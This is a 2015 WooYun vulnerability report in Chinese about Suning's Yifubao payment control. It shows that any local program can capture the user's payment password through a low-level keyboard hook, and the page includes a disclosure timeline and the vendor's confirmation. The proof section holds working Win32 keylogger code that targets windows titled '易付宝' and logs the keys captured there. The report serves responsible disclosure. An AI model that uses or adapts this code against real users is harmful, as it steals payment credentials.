当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105921

漏洞标题:易付宝支付密码可被任意程序截获

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: alvin

提交时间:2015-04-04 22:40

修复时间:2015-07-04 10:12

公开时间:2015-07-04 10:12

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-04: 细节已通知厂商并且等待厂商处理中
2015-04-05: 厂商已经确认,细节仅向厂商公开
2015-04-08: 细节向第三方安全合作伙伴开放
2015-05-30: 细节向核心白帽子及相关领域专家公开
2015-06-09: 细节向普通白帽子公开
2015-06-19: 细节向实习白帽子公开
2015-07-04: 细节向公众公开

简要描述:

易付宝安全支付控件存在设计漏洞,任意简单的本地程序均可轻易截获用户输入的支付密码。

详细说明:

易付宝安全控件对键盘输入做的防护不够全面,任意本地程序依然可以通过键盘钩子截获用户输入的支付密码,无需注入,无需加载驱动就可以实现。效果展示:

exp.jpg

漏洞证明:

HHOOK g_hk = NULL;
TCHAR g_buff[100] = { 0 };
int g_index = 0;
LRESULT CALLBACK Hook(int nCode, WPARAM wp, LPARAM lp)
{
static DWORD a_other[] =
{
VK_CAPITAL, VK_LSHIFT, VK_RSHIFT, VK_LCONTROL, VK_RCONTROL,
VK_LMENU, VK_RMENU,
};
KBDLLHOOKSTRUCT* pLL = ((KBDLLHOOKSTRUCT*)lp);
DWORD vk = pLL->vkCode;
for(int i = 0; i < sizeof(a_other)/sizeof(*a_other); ++i)
{
if(vk == a_other[i])
{
return CallNextHookEx(g_hk, nCode, wp, lp);
}
}
if(nCode >= 0 && WM_KEYUP == (DWORD)wp)
{
POINT pt = { 0 };
GetCursorPos(&pt);
HWND hwnd = WindowFromPoint(pt);
if(hwnd)
{
BOOL bGood = FALSE;
TCHAR szTitle[100] = { 0 };

for (int i = 0; i < 10 && hwnd; ++i)
{
hwnd = GetParent(hwnd);
SendMessage(hwnd, WM_GETTEXT, (WPARAM)100,
(LPARAM)szTitle);
if(_tcsstr(szTitle, _T("易付宝")))
{
bGood = TRUE;
break;
}
}

if(bGood)
{
TCHAR ch = (TCHAR)vk;
if(vk >= VK_NUMPAD0 && vk <= VK_NUMPAD9)
{
ch = vk - 0x30;
}
else if('A' <= vk && 'Z' >= vk && 0 == LOBYTE
(GetKeyState(VK_CAPITAL)))
{
ch = vk + ('a' - 'A');
}
else if(vk >= 0x30 && vk <= 0x39 && (0x8000 &
GetKeyState(VK_SHIFT)))
{
switch (vk)
{
case 0x32:
ch = _T('@');
break;
case 0x33:
ch = _T('#');
break;
case 0x34:
ch = _T('$');
break;
case 0x35:
ch = _T('%');
break;
case 0x36:
ch = _T('^');
break;
case 0x37:
ch = _T('&');
break;
case 0x38:
ch = _T('*');
break;
}
}
else if(VK_MULTIPLY == vk)
{
ch = _T('*');
}
g_buff[g_index++] = ch;
OutputDebugStringW(g_buff);
}
}
}
return CallNextHookEx(g_hk, nCode, wp, lp);
}
SetWindowsHookEx(WH_KEYBOARD_LL, Hook, GetModuleHandle(NULL), 0);


任意具备消息循环的windows程序通过以上代码都可以实现对支付密码的截获。

修复方案:

加强对键盘输入的防御逻辑,保证自身优先获得键盘输入。

版权声明:转载请注明来源 alvin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-05 10:10

厂商回复:

感谢提交,先行确认,工作日反馈相关部门。

最新状态:

暂无